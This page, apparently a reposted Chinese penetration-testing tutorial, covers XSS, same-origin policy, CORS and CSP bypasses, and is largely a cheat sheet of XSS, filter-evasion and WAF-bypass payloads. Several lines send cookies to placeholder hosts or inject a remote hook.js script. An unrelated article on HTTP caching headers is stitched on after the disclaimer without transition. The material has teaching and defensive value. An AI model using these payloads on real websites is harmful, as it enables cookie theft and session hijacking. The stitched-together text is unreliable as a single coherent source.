整合營銷服務商

          電腦端+手機端+微信端=數(shù)據(jù)同步管理

          免費咨詢熱線:

          e起學丨WEB安全滲透測試基礎(chǔ)知識(六)

          EB安全滲透測試的基礎(chǔ)知識第六部分,小伙伴們快來繼續(xù)學習吧~

          3.2、分類

          XSS全稱為Cross Site Scripting,為了和CSS分開簡寫為XSS,中文名為跨站腳本。該漏洞發(fā)生在用戶端,是指在渲染過程中發(fā)生了不在預期過程中的JavaScript代碼執(zhí)行。XSS通常被用于獲取Cookie、以受攻擊者的身份進行操作等行為。

          3.2.1.1. 反射型XSS

          反射型XSS是比較常見和廣泛的一類,舉例來說,當一個網(wǎng)站的代碼中包含類似下面的語句:<?php echo "<p>hello, $_GET['user']</p>";?> ,那么在訪問時設(shè)置 /?user=</p><script>alert("hack")</script><p> ,則可執(zhí)行預設(shè)好的JavaScript代碼。 反射型XSS通常出現(xiàn)在搜索等功能中,需要被攻擊者點擊對應的鏈接才能觸發(fā),且受到XSS Auditor、NoScript等防御手段的影響較大。

          3.2.1.2. 儲存型XSS

          儲存型XSS相比反射型來說危害較大,在這種漏洞中,攻擊者能夠把攻擊載荷存入服務器的數(shù)據(jù)庫中,造成持久化的攻擊。

          3.2.1.3. DOM XSS

          DOM型XSS不同之處在于DOM型XSS一般和服務器的解析響應沒有直接關(guān)系,而是在JavaScript腳本動態(tài)執(zhí)行的過程中產(chǎn)生的。

          例如

          <html>

          <head>

          <title>DOM Based XSS Demo</title>

          <script>

          function xsstest()

          {

          var str = document.getElementById("input").value; document.getElementById("output").innerHTML = "<img src='"+str+"'></img>";

          }

          </script>

          </head>

          <body>

          <div id="output"></div>

          <input type="text" id="input" size=50 value="" />

          <input type="button" value="submit" onclick="xsstest()" /> </body>

          </html>

          輸入 x' onerror='javascript:alert(/xss/) 即可觸發(fā)。

          3.2.1.4. Blind XSS

          Blind XSS是儲存型XSS的一種,它保存在某些存儲中,當一個“受害者”訪問這個頁面時執(zhí)行,并且在文檔對象模型(DOM)中呈現(xiàn)payload。它被歸類為盲目的原因是因為它通常發(fā)生在通常不暴露給用戶的功能上。

          3.2.2. 同源策略

          3.2.2.1. 簡介

          同源策略限制了不同源之間如何進行資源交互,是用于隔離潛在惡意文件的重要安全機制。是否同源由URL決定,URL由協(xié)議、域名、端口和路徑組成,如果兩個URL的協(xié)議、域名和端口相同,則表示他們同源。

          3.2.2.1.1. file域的同源策略

          在之前的瀏覽器中,任意兩個file域的URI被認為是同源的。本地磁盤上的任何HTML文件都可以讀取本地磁盤上的任何其他文件。

          從Gecko 1.9開始,文件使用了更細致的同源策略,只有當源文件的父目錄是目標文件的祖先目錄時,文件才能讀取另一個文件。

          3.2.2.1.2. cookie的同源策略

          cookie使用不同的源定義方式,一個頁面可以為本域和任何父域設(shè)置cookie,只要是父域不是公共后綴(public suffix)即可。

          不管使用哪個協(xié)議(HTTP/HTTPS)或端口號,瀏覽器都允許給定的域以及其任何子域名訪問cookie。設(shè)置 cookie時,可以使用 domain / path / secure 和 http-only 標記來限定其訪問性。

          所以 https://localhost:8080/ 和 http://localhost:8081/ 的Cookie是共享的。

          3.2.2.1.3. Flash/SilverLight跨域

          瀏覽器的各種插件也存在跨域需求。通常是通過在服務器配置crossdomain.xml,設(shè)置本服務允許哪些域名的跨域訪問。

          客戶端會請求此文件,如果發(fā)現(xiàn)自己的域名在訪問列表里,就發(fā)起真正的請求,否則不發(fā)送請求。

          3.2.2.2. 源的更改

          同源策略認為域和子域?qū)儆诓煌挠颍?

          child1.a.com 與 a.com / child1.a.com 與 child2.a.com/ xxx.child1.a.com 與 child1.a.com 兩兩不同源。

          對于這種情況,可以在兩個方面各自設(shè)置 document.damain='a.com' 來改變其源來實現(xiàn)以上任意兩個頁面之間的通信。

          另外因為瀏覽器單獨保存端口號,這種賦值會導致端口號被重寫為 null 。

          3.2.2.3. 跨源訪問

          同源策略控制了不同源之間的交互,這些交互通常分為三類:

          ● 通常允許跨域?qū)懖僮鳎–ross-origin writes)

          鏈接(links)

          重定向

          表單提交

          ● 通常允許跨域資源嵌入(Cross-origin embedding)

          ● 通常不允許跨域讀操作(Cross-origin reads)

          可能嵌入跨源的資源的一些示例有:

          ● <script src="..."></script> 標簽嵌入跨域腳本。語法錯誤信息只能在同源腳本中捕捉到。

          ● <link rel="stylesheet" href="..."> 標簽嵌入CSS。由于CSS的松散的語法規(guī)則,CSS的跨域需要一個設(shè)置正確的Content-Type 消息頭。

          ● <img> / <video> / <audio> 嵌入多媒體資源。

          ● <object> <embed> 和 <applet> 的插件。

          ● @font-face 引入的字體。一些瀏覽器允許跨域字體( cross-origin fonts),一些需要同源字體(same-origin fonts)。

          ● <frame> 和 <iframe> 載入的任何資源。站點可以使用X-Frame-Options消息頭來阻止這種形式的跨域交互。

          3.2.2.3.1. JSONP跨域

          JSONP就是利用 <script> 標簽的跨域能力實現(xiàn)跨域數(shù)據(jù)的訪問,請求動態(tài)生成的JavaScript腳本同時帶一個callback函數(shù)名作為參數(shù)。

          服務端收到請求后,動態(tài)生成腳本產(chǎn)生數(shù)據(jù),并在代碼中以產(chǎn)生的數(shù)據(jù)為參數(shù)調(diào)用callback函數(shù)。

          3.2.2.3.2. 跨源腳本API訪問

          Javascript的APIs中,如 iframe.contentWindow , window.parent, window.open 和 window.opener 允許文檔間相互引用。當兩個文檔的源不同時,這些引用方式將對 window 和 location 對象的訪問添加限制。

          window 允許跨源訪問的方法有

          ● window.blur

          ● window.close

          ● window.focus

          ● window.postMessage

          window 允許跨源訪問的屬性有

          ● window.closed

          ● window.frames

          ● window.length

          ● window.location

          ● window.opener

          ● window.parent

          ● window.self

          ● window.top

          ● window.window

          其中 window.location 允許讀/寫,其他的屬性只允許讀。

          3.2.2.3.3. 跨源數(shù)據(jù)存儲訪問

          存儲在瀏覽器中的數(shù)據(jù),如 localStorage 和 IndexedDB,以源進行分割。每個源都擁有自己單獨的存儲空間,一個源中的Javascript腳本不能對屬于其它源的數(shù)據(jù)進行讀寫操作。

          3.2.2.4. CORS

          CORS是一個W3C標準,全稱是”跨域資源共享”(Cross-origin resource sharing)。通過這個標準,可以允許瀏覽器讀取跨域的資源。

          3.2.2.4.1. 常見返回頭

          ● Access-Control-Allow-Origin

          聲明允許的源

          Access-Control-Allow-Origin: <origin> | *

          ● Access-Control-Expose-Headers

          聲明允許暴露的頭 e.g. Access-Control-Expose-Headers: X-My-Custom-Header,X-Another-Custom-Header

          ● Access-Control-Max-Age

          聲明Cache時間

          Access-Control-Max-Age: <delta-seconds>

          ● Access-Control-Allow-Credentials

          聲明是否允許在請求中帶入

          Access-Control-Allow-Credentials: true

          ● Access-Control-Allow-Methods

          聲明允許的訪問方式

          Access-Control-Allow-Methods: <method>[, <method>]*

          ● Access-Control-Allow-Headers

          聲明允許的頭

          Access-Control-Allow-Headers: <field-name>[, <field-name>]*

          3.2.2.4.2. 常見請求頭

          ● Origin

          指定請求的源

          Origin: <origin>

          ● Access-Control-Request-Method

          聲明請求使用的方法

          Access-Control-Request-Method: <method>

          ● Access-Control-Request-Headers

          聲明請求使用的header

          Access-Control-Request-Headers: <field-name>[, <field-name>]*

          3.2.2.4.3. 防御建議

          如非必要不開啟CORS

          定義詳細的白名單,不使用通配符,僅配置所需要的頭

          配置 Vary: Origin 頭部

          如非必要不使用 Access-Control-Allow-Credentials

          限制緩存的時間

          3.2.2.5. 阻止跨源訪問

          阻止跨域?qū)懖僮鳎梢詸z測請求中的 CSRF token ,這個標記被稱為Cross-Site Request Forgery (CSRF) 標記。

          阻止資源的跨站讀取,因為嵌入資源通常會暴露信息,需要保證資源是不可嵌入的。但是多數(shù)情況下瀏覽器都不會遵守 Content-Type 消息頭。例如如果在HTML文檔中指定 <script> 標記,則瀏覽器會嘗試將HTML解析為JavaScript。

          3.2.3. CSP

          3.2.3.1. CSP是什么?

          Content Security Policy,簡稱 CSP。顧名思義,這個規(guī)范與內(nèi)容安全有關(guān),主要是用來定義頁面可以加載哪些資源,減少 XSS 的發(fā)生。

          3.2.3.2. 配置

          CSP策略可以通過 HTTP 頭信息或者 meta 元素定義。

          CSP 有三類:

          ● Content-Security-Policy (Google Chrome)

          ● X-Content-Security-Policy (Firefox)

          ● X-WebKit-CSP (WebKit-based browsers, e.g. Safari)

          HTTP header :

          "Content-Security-Policy:" 策略

          "Content-Security-Policy-Report-Only:" 策略

          HTTP Content-Security-Policy 頭可以指定一個或多個資源是安全的,而Content-Security-Policy-Report-Only則是允許服務器檢查(非強制)一個策略。多個頭的策略定義由優(yōu)先采用最先定義的。

          HTML Meta :

          <meta http-equiv="content-security-policy" content="策略">

          <meta http-equiv="content-security-policy-report-only" content="策略">

          3.2.3.2.1. 指令說明

          3.2.3.2.2. 關(guān)鍵字

          ● -

          允許從任意url加載,除了 data: blob: filesystem: schemes

          e.g. img-src -

          ● none

          禁止從任何url加載資源

          e.g. object-src 'none'

          ● self

          只可以加載同源資源

          e.g. img-src 'self'

          ● data:

          可以通過data協(xié)議加載資源

          e.g. img-src 'self' data:

          ● domain.example.com

          e.g. img-src domain.example.com

          只可以從特定的域加載資源

          ● \*.example.com

          e.g. img-src \*.example.com

          可以從任意example.com的子域處加載資源

          ● https://cdn.com

          e.g. img-src https://cdn.com

          只能從給定的域用https加載資源

          ● https:

          e.g. img-src https:

          只能從任意域用https加載資源

          ● unsafe-inline

          允許內(nèi)部資源執(zhí)行代碼例如style attribute,onclick或者是sicript標簽

          e.g. script-src 'unsafe-inline'

          ● unsafe-eval

          允許一些不安全的代碼執(zhí)行方式,例如js的eval()

          e.g. script-src 'unsafe-eval'

          ● nonce-<base64-value>'

          使用隨機的nonce,允許加載標簽上nonce屬性匹配的標簽

          e.g. script-src 'nonce-bm9uY2U='

          ● <hash-algo>-<base64-value>'

          允許hash值匹配的代碼塊被執(zhí)行

          e.g. script-src 'sha256-<base64-value>'

          3.2.3.2.3. 配置范例

          允許執(zhí)行內(nèi)聯(lián) JS 代碼,但不允許加載外部資源

          Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';

          3.2.3.3. Bypass

          3.2.3.3.1. 預加載

          瀏覽器為了增強用戶體驗,讓瀏覽器更有效率,就有一個預加載的功能,大體是利用瀏覽器空閑時間去加載指定的內(nèi)容,然后緩存起來。這個技術(shù)又細分為DNS-prefetch、subresource、prefetch、preconnect、prerender。

          HTML5頁面預加載是用link標簽的rel屬性來指定的。如果csp頭有unsafe-inline,則用預加載的方式可以向外界發(fā)出請求,例如

          <!-- 預加載某個頁面 -->

          <link rel='prefetch' href='http://xxxx'><!-- firefox -->

          <link rel='prerender' href='http://xxxx'><!-- chrome -->

          <!-- 預加載某個圖片 -->

          <link rel='prefetch' href='http://xxxx/x.jpg'>

          <!-- DNS 預解析 -->

          <link rel="dns-prefetch" href="http://xxxx">

          <!-- 特定文件類型預加載 -->

          <link rel='preload' href='//xxxxx/xx.js'><!-- chrome -->

          另外,不是所有的頁面都能夠被預加載,當資源類型如下時,講阻止預加載操作:

          ● URL中包含下載資源

          ● 頁面中包含音頻、視頻

          ● POST、PUT和DELET操作的ajax請求

          ● HTTP認證

          ● HTTPS頁面

          ● 含惡意軟件的頁面

          ● 彈窗頁面

          ● 占用資源很多的頁面

          ● 打開了chrome developer tools開發(fā)工具

          3.2.3.3.2. MIME Sniff

          舉例來說,csp禁止跨站讀取腳本,但是可以跨站讀img,那么傳一個含有腳本的img,再“<script href=http://www.jungjaehyung.com/uploadfile/2024/0808/20240808043709439.jpg’>“,這里csp認為是一個img,繞過了檢查,如果網(wǎng)站沒有回正確的mime type,瀏覽器會進行猜測,就可能加載該img作為腳本。

          3.2.3.3.3. 302跳轉(zhuǎn)

          對于302跳轉(zhuǎn)繞過CSP而言,實際上有以下幾點限制:

          跳板必須在允許的域內(nèi)。

          ● 要加載的文件的host部分必須跟允許的域的host部分一致

          3.2.3.3.4. iframe

          當可以執(zhí)行代碼時,可以創(chuàng)建一個源為 css js 等靜態(tài)文件的frame,在配置不當時,該frame并不存在csp,則在該frame下再次創(chuàng)建frame,達到bypass的目的。同理,使用 ../../../ /%2e%2e%2f等可能觸發(fā)服務器報錯的鏈接也可以到達相應的目的。

          3.2.3.3.5. 其他

          ● CND Bypass,如果網(wǎng)站信任了某個CDN, 那么可利用相應的CDN bypass

          ● Angular versions <1.5.9 >=1.5.0,存在漏洞 Git Pull Request

          ● jQuery sourcemap

          document.write(`<script> //@ sourceMappingURL=http://xxxx/`+document.cookie+`<\/script>`);``

          ● a標簽的ping屬性

          ● For FireFox <META HTTP-EQUIV="refresh" CONTENT="0; url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnSWhhdmVZb3VOb3cnKTs8L3NjcmlwdD4=">

          ● <link rel="import" />

          ● <meta http-equiv="refresh" content="0; url=http://...." />

          ● 當script-src為nonce或無限制,且base-uri無限制時,可通過 base 標簽修改根URL來bypass,如下加載了http://evil.com/main.js

          <base >

          <script nonce="correct value" src="/main.js"></script>

          3.2.4. XSS數(shù)據(jù)源

          3.2.4.1. URL

          ● location

          ● location.href

          ● location.pathname

          ● location.search

          ● location.hash

          ● document.URL

          ● document.documentURI

          ● document.baseURI

          3.2.4.2. Navigation

          ● window.name

          ● document.referrer

          3.2.4.3. Communication

          ● Ajax

          ● Fetch

          ● WebSocket

          ● PostMessage

          3.2.4.4. Storage

          ● Cookie

          ● LocalStorage

          ● SessionStorage

          3.2.5. Sink

          3.2.5.1. 執(zhí)行Js

          ● eval(payload)

          ● setTimeout(payload, 100)

          ● setInterval(payload, 100)

          ● Function(payload)()

          ● <script>payload</script>

          ● <img src=x onerror=payload>

          3.2.5.2. 加載URL

          ● location=javascript:alert(/xss/)

          ● location.href=javascript:alert(/xss/)

          ● location.assign(javascript:alert(/xss/))

          ● location.replace(javascript:alert(/xss/))

          3.2.5.3. 執(zhí)行HTML

          ● xx.innerHTML=payload

          ● xx.outerHTML=payload

          ● document.write(payload)

          ● document.writeln(payload)

          3.2.6. XSS保護

          3.2.6.1. HTML過濾

          使用一些白名單或者黑名單來過濾用戶輸入的HTML,以實現(xiàn)過濾的效果。例如DOMPurify等工具都是用該方式實現(xiàn)了XSS的保護。

          3.2.6.2. X-Frame

          X-Frame-Options 響應頭有三個可選的值:

          ● DENY

          頁面不能被嵌入到任何iframe或frame中

          ● SAMEORIGIN

          頁面只能被本站頁面嵌入到iframe或者frame中

          ● ALLOW-FROM

          頁面允許frame或frame加載

          3.2.6.3. XSS保護頭

          基于 Webkit 內(nèi)核的瀏覽器(比如Chrome)有一個名為XSS auditor的防護機制,如果瀏覽器檢測到了含有惡意代碼的輸入被呈現(xiàn)在HTML文檔中,那么這段呈現(xiàn)的惡意代碼要么被刪除,要么被轉(zhuǎn)義,惡意代碼不會被正常的渲染出來。

          而瀏覽器是否要攔截這段惡意代碼取決于瀏覽器的XSS防護設(shè)置。

          要設(shè)置瀏覽器的防護機制,則可使用X-XSS-Protection字段 該字段有三個可選的值

          0: 表示關(guān)閉瀏覽器的XSS防護機制

          1: 刪除檢測到的惡意代碼, 如果響應報文中沒有看到X-XSS-Protection 字段,那么瀏覽器就認為X-XSS-Protection配置為1,這是瀏覽器的默認設(shè)置

          1; mode=block: 如果檢測到惡意代碼,在不渲染惡意代碼

          FireFox沒有相關(guān)的保護機制,如果需要保護,可使用NoScript等相關(guān)插件。

          3.2.7. WAF Bypass

          ● 利用<>標記

          ● 利用html屬性

          href

          lowsrc

          bgsound

          background

          value

          action

          dynsrc

          ● 關(guān)鍵字

          利用回車拆分

          字符串拼接(window["al" + "ert"])

          ● 利用編碼繞過

          base64

          jsfuck

          String.fromCharCode

          HTML

          URL

          hex(window["\x61\x6c\x65\x72\x74"])

          unicode

          utf7(+ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-)

          utf16

          ● 大小寫混淆

          ● 對標簽屬性值轉(zhuǎn)碼

          ● 產(chǎn)生事件

          ● css跨站解析

          ● 長度限制bypass

          eval(name)

          eval(hash)

          import

          $.getScript

          $.get

          ● .

          使用 。繞過IP/域名

          document['cookie'] 繞過屬性取值

          ● 過濾引號用 “ ` “ 繞過

          3.2.8.1. CSS 注入

          CSS注入最早開始于利用CSS中的 expression() url() regex() 等函數(shù)或特性來引入外部的惡意代碼,但是隨著瀏覽器的發(fā)展,這種方式被逐漸禁用,與此同時,出現(xiàn)了一些新的攻擊方式。

          3.2.8.1.2. CSS selectors

          上圖是利用CSS selectors完成攻擊的一個示例。

          3.2.8.1.3. Abusing Unicode Range

          當可以插入CSS的時候,可以使用 font-face 配合 unicode-range 獲取目標網(wǎng)頁對應字符集。PoC如下

          當字符較多時,則可以結(jié)合 ::first-line 等CSS屬性縮小范圍,以獲取更精確的內(nèi)容。

          3.2.8.2. Bypass Via Script Gadgets

          3.2.8.2.1. 簡介

          一些網(wǎng)站會使用白名單或者一些基于DOM的防御方式,對這些方式,有一種被稱為 Code Reuse 的攻擊方式可以繞過。該方式和二進制攻防中的Gadget相似,使用目標中的合法代碼來達到繞過防御措施的目的。在論文 Code-Reuse Attacks for the Web: Breaking Cross-Site Scripting Mitigations via Script Gadgets 中有該方法的具體描述。

          portswigger的一篇博文也表達了類似的想法 https://portswigger.net/blog/abusing-javascript-frameworks-to-bypass-xss-mitigations。

          下面有一個簡單的例子,這個例子使用了 DOMPurify 來加固,但是因為引入了 jquery.mobile.js 導致可以被攻擊。

          3.2.8.2.2. 例子

          // index.php

          <?php

          $msg = $_GET['message'];

          $msg = str_replace("\n", "",

          $msg); $msg = base64_encode($msg);

          ?>

          <!DOCTYPE html>

          <html>

          <head>

          <meta charset="UTF-8">

          <title>Preview</title>

          <script type="text/javascript" src="purify.js"></script>

          <script type="text/javascript" src="jquery.js"></script>

          <script type="text/javascript" src="jquery.mobile.js"></script>

          </head>

          <body>

          <script type="text/javascript">

          var d= atob('<?php echo $msg; ?>');

          var cleanvar = DOMPurify.sanitize(d);

          document.write(cleanvar);

          </script>

          </body>

          </html>

          // playload

          <div data-role=popup id='-->

          <script>alert(1)</script>'>

          </div>

          3.2.8.3. jsfuck cheat sheet

          3.2.8.3.1. Basic values

          ● undefined > [][[]]

          ● false > ![]

          ● true > !![]

          ● NaN > +[![]]

          ● 0 > +[]

          ● 1 > +!+[]

          ● 2 > !+[]+!+[]

          3.2.8.3.2. Basic strings

          ● '' > []+[]

          ● 'undefined' > []+[][[]]

          ● 'false' > []+![]

          ● 'true' > []+!![]

          ● 'NaN' > []+(+[![]])

          ● '0' > []+(+[])

          ● '1' > []+(+!+[])

          ● '2' > []+(!+[]+!+[])

          ● '10' > [+!+[]]+[+[]]

          ● '11' > [+!+[]]+[+!+[]]

          ● '100' > [+!+[]]+[+[]]+(+[])

          3.2.8.3.3. Higher numbers

          ● 10 > +([+!+[]]+[+[]])

          ● 11 > +([+!+[]]+[+!+[]])

          ● 100 > +([+!+[]]+[+[]]+(+[]))

          3.2.8.3.4. String alphabet

          ● 'a' > ([]+![])[+!+[]]

          ● 'd' > ([]+[][[]])[+!+[]+!+[]]

          ● 'e' > ([]+!+[])[+!+[]+!+[]+!+[]]

          ● 'f' > ([]+![])[+[]]

          ● 'i' > ([]+[][[]])[+!+[]+!+[]+!+[]+!+[]+!+[]]

          ● 'l' > ([]+![])[+!+[]+!+[]]

          ● 'n' > ([]+[][[]])[+!+[]]

          ● 'r' > ([]+!+[])[+!+[]]

          ● 's' > ([]+![])[+!+[]+!+[]+!+[]]

          ● 't' > ([]+!+[])[+[]]

          ● 'u' > ([]+!+[])[+!+[]+!+[]]

          3.2.8.4. RPO(Relative Path Overwrite)

          RPO(Relative Path Overwrite) 攻擊又稱為相對路徑覆蓋攻擊,依賴于瀏覽器和網(wǎng)絡(luò)服務器的反應,利用服務器的 Web 緩存技術(shù)和配置差異。

          3.2.9. Payload

          3.2.9.1. 常用

          ● <script>alert(/xss/)</script>

          ● <svg onload=alert(document.domain)>

          ● <img src=document.domain onerror=alert(document.domain)>

          ● <M onmouseover=alert(document.domain)>M

          ● <marquee onscroll=alert(document.domain)>

          ● <a href=javascript:alert(document.domain)>M</a>

          ● <body onload=alert(document.domain)>

          ● <details open ontoggle=alert(document.domain)>

          ● <embed src=javascript:alert(document.domain)>

          3.2.9.2. 大小寫繞過

          ● <script>alert(1)</script>

          ● <sCrIpT>alert(1)</sCrIpT>

          ● <ScRiPt>alert(1)</ScRiPt>

          ● <sCrIpT>alert(1)</ScRiPt>

          ● <ScRiPt>alert(1)</sCrIpT>

          ● <img src=1 onerror=alert(1)>

          ● <iMg src=1 oNeRrOr=alert(1)>

          ● <ImG src=1 OnErRoR=alert(1)>

          ● <img src=1 onerror="alert("M")">

          ● <marquee onscroll=alert(1)>

          ● <mArQuEe OnScRoLl=alert(1)>

          ● <MaRqUeE oNsCrOlL=alert(1)>

          3.2.9.3. 各種alert

          ● <script>alert(1)</script>

          ● <script>confirm(1)</script>

          ● <script>prompt(1)</script>

          ● <script>alert('1')</script>

          ● <script>alert("1")</script>

          ● <script>alert`1`</script>

          ● <script>(alert)(1)</script>

          ● <script>a=alert,a(1)</script>

          ● <script>[1].find(alert)</script>

          ● <script>top["al"+"ert"](1)</script>

          ● <script>top["a"+"l"+"e"+"r"+"t"](1)</script>

          ● <script>top[/al/.source+/ert/.source](1)</script>

          ● <script>top[/a/.source+/l/.source+/e/.source+/r/.source+/t/.source](1)</script>

          3.2.9.4. 偽協(xié)議

          ● <a href=javascript:/0/,alert(%22M%22)>M</a>

          ● <a href=javascript:/00/,alert(%22M%22)>M</a>

          ● <a href=javascript:/000/,alert(%22M%22)>M</a>

          ● <a href=javascript:/M/,alert(%22M%22)>M</a>

          3.2.9.5. Chrome XSS auditor bypass

          ● ?param=https://&param=@z.exeye.io/import%20rel=import%3E

          ● <base href=javascript:/M/><a href=,alert(1)>M</a>

          ● <base href=javascript:/M/><iframe src=,alert(1)></iframe>

          3.2.9.6. 長度限制

          <script>s+="l"</script>

          \...

          <script>eval(s)</script>

          3.2.9.7. jquery sourceMappingURL

          </textarea><script>var

          a=1//@ sourceMappingURL=//xss.site</script>

          3.2.9.8. 圖片名

          "><img src=x onerror=alert(document.cookie)>.gif

          3.2.9.9. 過期的payload

          ● src=javascript:alert基本不可以用

          ● css expression特性只在舊版本ie可用

          3.2.9.10. css

          <div style="background-image:url(javascript:alert(/xss/))">

          <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

          3.2.9.11. markdown

          ● [a](javascript:prompt(document.cookie))

          ● [a](j a v a s c r i p t:prompt(document.cookie)) <javascript:alert('XSS')>

          ● ![a'"`onerror=prompt(document.cookie)](x)

          ● [notmalicious](javascript:window.onerror=alert;throw%20document.cookie)

          ● [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)

          ● ![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)

          3.2.9.12. iframe

          <iframe onload='

          var sc = document.createElement("scr" + "ipt");

          sc.type = "text/javascr" + "ipt";

          sc.src = "http://1.2.3.4/js/hook.js"; document.body.appendChild(sc);

          '

          />

          ● <iframe src=javascript:alert(1)></iframe>

          ● <iframe src="data:text/html,<iframe src=javascript:alert('M')>● </iframe>"></iframe>

          ● <iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe>

          ● <iframe srcdoc=<svg/onload&equals;alert&lpar;1)>></iframe>

          ● <iframe src=https://baidu.com width=1366 height=768></iframe>

          ● <iframe src=javascript:alert(1) width=1366 height=768></iframe

          3.2.9.13. form

          ● <form action=javascript:alert(1)><input type=submit>

          ● <form><button formaction=javascript:alert(1)>M

          ● <form><input formaction=javascript:alert(1) type=submit value=M>

          ● <form><input formaction=javascript:alert(1) type=image value=M>

          ● <form><input formaction=javascript:alert(1) type=image src=1>

          3.2.9.14. meta

          <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">

          3.2.10. 持久化

          3.2.10.1. 基于存儲

          有時候網(wǎng)站會將信息存儲在Cookie或localStorage,而因為這些數(shù)據(jù)一般是網(wǎng)站主動存儲的,很多時候沒有對Cookie或localStorage中取出的數(shù)據(jù)做過濾,會直接將其取出并展示在頁面中,甚至存了JSON格式的數(shù)據(jù)時,部分站點存在 eval(data) 之類的調(diào)用。因此當有一個XSS時,可以把payload寫入其中,在對應條件下觸發(fā)。

          在一些條件下,這種利用方式可能因為一些特殊字符造成問題,可以使用 String.fromCharCode 來繞過。

          3.2.10.2. Service Worker

          Service Worker可以攔截http請求,起到類似本地代理的作用,故可以使用Service Worker Hook一些請求,在請求中返回攻擊代碼,以實現(xiàn)持久化攻擊的目的。

          在Chrome中,可通過 chrome://inspect/#service-workers 來查看Service Worker的狀態(tài),并進行停止。

          3.2.10.3. AppCache

          在可控的網(wǎng)絡(luò)環(huán)境下(公共wifi),可以使用AppCache機制,來強制存儲一些Payload,未清除的情況下,用戶訪問站點時對應的payload會一直存在。

          免責聲明:

          本文內(nèi)容出于傳遞更多信息之目的,屬于非營利性的轉(zhuǎn)載。如無意中侵犯了某個媒體或個人的知識產(chǎn)權(quán),請聯(lián)系我們,我們將立即刪除相關(guān)內(nèi)容。其他媒體、網(wǎng)絡(luò)或個人從本網(wǎng)下載使用須自負版權(quán)等法律責任。

          • 地址欄輸入 url 回車,強緩存什么時候失效,什么時候有效,你知道嗎?
          • disk cache 和 memory cache 是什么?在哪里出現(xiàn)?
          • 火狐、IE 的緩存處理策略和 Chrome 一樣嗎?
          • cache-control 的 public、private 你知道什么時候使用嗎?
          • 你知道 ETag 可能也有不適用的時候嗎?
          • 你知道 http 頭中 Vary 和緩存有怎樣的關(guān)系嗎?

          如果上面的問題你都懂了,那關(guān)掉這個頁面吧;如果你喜歡本文,點一個贊吧~

          先小小的回顧下

          http header 描述 強緩存 協(xié)商緩存 Pragma 老版本的本地緩存機制,http 1.0 及以下 Expires 在此時候之后,響應過期,時間是絕對時間,受本地時間影響 * Cache-Control 強緩存策略 Cache-Control: public, max-age=31536000, must-revalidate max-age是相對時間 * Last-Modified、If-Modified-Since 資源最后被更改的時間,精確到秒 * ETag、If-None-Match 資源的標識值,用來唯一的標識一個資源 * 處理優(yōu)先級

          在本地 Cache-Control > Expires,Pragma 在不支持 Cache-Control 時生效。

          如果本地緩存過期,則要依靠協(xié)商緩存

          ETag > Last-Modified

          強緩存的 http 狀態(tài)碼是 200 OK

          協(xié)商緩存的 http 狀態(tài)碼是 304 Not Modified

          Cache-Control

          • public 表明響應可以被任何對象(包括:發(fā)送請求的客戶端,代理服務器,等等)緩存。
          • private 表明響應只能被單個用戶緩存,不能作為共享緩存(即代理服務器不能緩存它)。私有緩存可以緩存響應內(nèi)容。
          • no-cache 即使有緩存也會向服務器發(fā)請求。
          • no-store 讓客戶端不要把資源存在緩存。
          • max-age=<seconds> 設(shè)置緩存存儲的最大周期,超過這個時間緩存被認為過期(單位秒)。與 Expires 相反,時間是相對于請求的時間。
          • s-maxage=<seconds> 覆蓋 max-age 或者 Expires 頭,但是僅適用于共享緩存(比如各個代理),私有緩存會忽略

          問題 關(guān)于 public 和 private 的區(qū)別

          翻譯成中文:private 不允許代理緩存。舉個例子,ISP 服務商可以在你的客戶端和互聯(lián)網(wǎng)之間加上不可見的代理,這個代理會緩存網(wǎng)頁來降低帶寬,客戶端設(shè)置 cache-control: private 之后,可以指定 ISP 代理不允許緩存網(wǎng)頁,但是允許最后的接受者緩存。而使用 cache-control: public 的意思是說,誰都可以緩存哈,所以中間代理會緩存一份以減少帶寬降低費用。

          如果是誰都可以訪問的內(nèi)容,比如網(wǎng)站 logo,那就用 public 好了,反正也不會有關(guān)鍵數(shù)據(jù)泄露風險,盡量中間代理都給緩存上,減少帶寬。而如果是一個含有用戶信息的頁面,比如頁面含有我的用戶名,那這個頁面當然不是對誰都有用,因為不同的人要返回不同的用戶名嘛,這個時候 private 會適合一些,如果代理緩存了我的這個頁面,別的用戶訪問又會緩存別人的,這顯然不合理,而且你的個人私密數(shù)據(jù)也盡量不要被保存在不受信任的地方。

          當然,所有不被表示為 public 的數(shù)據(jù)都應該被標識為 private,要不然數(shù)據(jù)會存儲在中間服務器上,別人就有可能會訪問到這個數(shù)據(jù)。

          禁止緩存

          Cache-Control: no-cache, no-store, must-revalidate

          緩存靜態(tài)資源

          Cache-Control:public, max-age=86400

          ETag、If-Match

          ETag 和 If-None-Match 常被用來處理協(xié)商緩存。而 ETag 和 If-Match 可以 避免“空中碰撞”

          ETag HTTP響應頭是資源的特定版本的標識符。這可以讓緩存更高效,并節(jié)省帶寬,因為如果內(nèi)容沒有改變,Web服務器不需要發(fā)送完整的響應。而如果內(nèi)容發(fā)生了變化,使用 ETag 有助于防止資源的同時更新相互覆蓋(“空中碰撞”)。

          當編輯 MDN 時,當前的 Wiki 內(nèi)容被散列,并在響應中放入Etag:

          ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4
          復制代碼
          

          將更改保存到 Wiki 頁面(發(fā)布數(shù)據(jù))時,POST 請求將包含有 ETag 值的 If-Match 頭來檢查是否為最新版本。

          If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"
          復制代碼
          

          如果哈希值不匹配,則意味著文檔已經(jīng)被編輯,拋出 412 ( Precondition Failed) 前提條件失敗錯誤。

          If-None-Match 是客戶端發(fā)送給服務器時的請求頭,其值是服務器返回給客戶端的 ETag,當 If-None-Match 和服務器資源最新的 Etag 不同時,返回最新的資源及其 Etag。

          Last-Modified、If-Modified-Since

          Last-Modified、If-Modified-Since 是資源最后更改的時間。

          Last-Modified: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT
          Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT 
          復制代碼
